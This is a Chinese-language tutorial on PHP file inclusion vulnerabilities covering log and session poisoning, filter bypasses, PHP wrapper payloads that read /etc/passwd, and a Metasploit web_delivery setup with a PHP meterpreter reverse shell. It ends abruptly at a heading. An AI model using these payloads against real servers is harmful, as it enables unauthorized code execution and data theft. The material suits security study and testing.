漏洞概述
漏洞原理
文件包含就是一个文件里面包含另外一个文件。一开始接触的时候是因为php里面,但是查找了一些资料这个存在在很多语言里面。程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
两种类型
在默认情况下,allow_url_include是禁用的。
- allow_url_fopen 默认为 On
- allow_url_include 默认为 Off
你可以通过php.ini启用allow_url_include:
/etc/php7/apache2/php.ini
allow_url_include = On
危害
- Web服务器上的代码执行
- 跨站点脚本攻击(XSS)
- 拒绝服务(DOS)
- 数据操纵攻击
代码审计函数
PHP文件包含函数:include、require、include_once、require_once。
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
本地文件包含
本地文件包含还可能需要配合跨目录字符(../)、文件上传功能。
环境搭建
仅且编写一个存在文件包含的php文件放在网站根目录下。
Apache投毒
Apache日志记录的是请求路径和UA头,由于请求路径被URL编码了,所以可以在UA上下功夫。
直接访问Apache日志文件是访问不到的。因此也是这种方式鸡肋的地方。不过可以通过这个方式持续的控制目前服务器。
这是因为权限不足,给整个目录赋予775权限。
赋予权限后,通过蚁剑就可以连接成功了。
SSH投毒
SSH投毒同理,SSH日志是auth.log:
session包含
当传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
远程文件包含
当服务器支持远程文件包含的话,可以在自己服务器上上传一个恶意的文本文件,让被攻击服务器去远程包含恶意文件,执行命名即可。
绕过Tips
编码绕过
当服务端对../和./进行过滤,可以通过编码进行绕过(url编码、URL二次编码、容器/服务器的编码方式等)。
空字节
利用条件: < php版本 5.3.4
这种情况是服务端在文件包含的时候添加了一个固定的文件后缀比如是(.php),这样会导致请求/etc/passwd会变成/etc/passwd.php,这样就找不到文件了。
当我们面对此类问题时,请进行NULL BYTE攻击(因为%00在C语言中代表结束,PHP是基于C语言的)。
长度截断
利用条件:< php 5.2.8。
一直重复目录字符串(./),在linux下4096字节时会达到最大值,在window下是256字节。
问号与井号
针对服务器添加后缀,可以在后面添加?和#。
Base64编码
有些时候,当你无法读取PHP文件内容时,你也可以通过php协议通过base64编码进行输出:
php://filter/read=convert.base64-encode/resource=/etc/passwd
PHP输入函数
利用条件:需要allow_url_include = On
使用Metasploit平台来利用该漏洞:
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>exploit
把cmd参数改为划线的一行代码即可:
phar协议
利用条件:php版本>=php5.3.0
当有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,并将其打包成zip压缩包(shell.zip)。
相对路径:
http://10.20.40.96/index.php?file=phar://shell.zip/phpinfo.txt
绝对路径:
http://10.20.40.96/index.php?file=phar:///var/www/html/shell.zip/phpinfo.txt
zip协议
利用条件:php版本>=php5.3.0
相对路径会包含失败,只能使用绝对路径
http://10.20.40.96/index.php?file=zip:///var/www/html/shell.zip%23phpinfo.txt
data://伪协议
利用条件:
- php版本 <= php5.2
- allow_url_fopen = On
- allow_url_include = On
读文件:
data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4
file://伪协议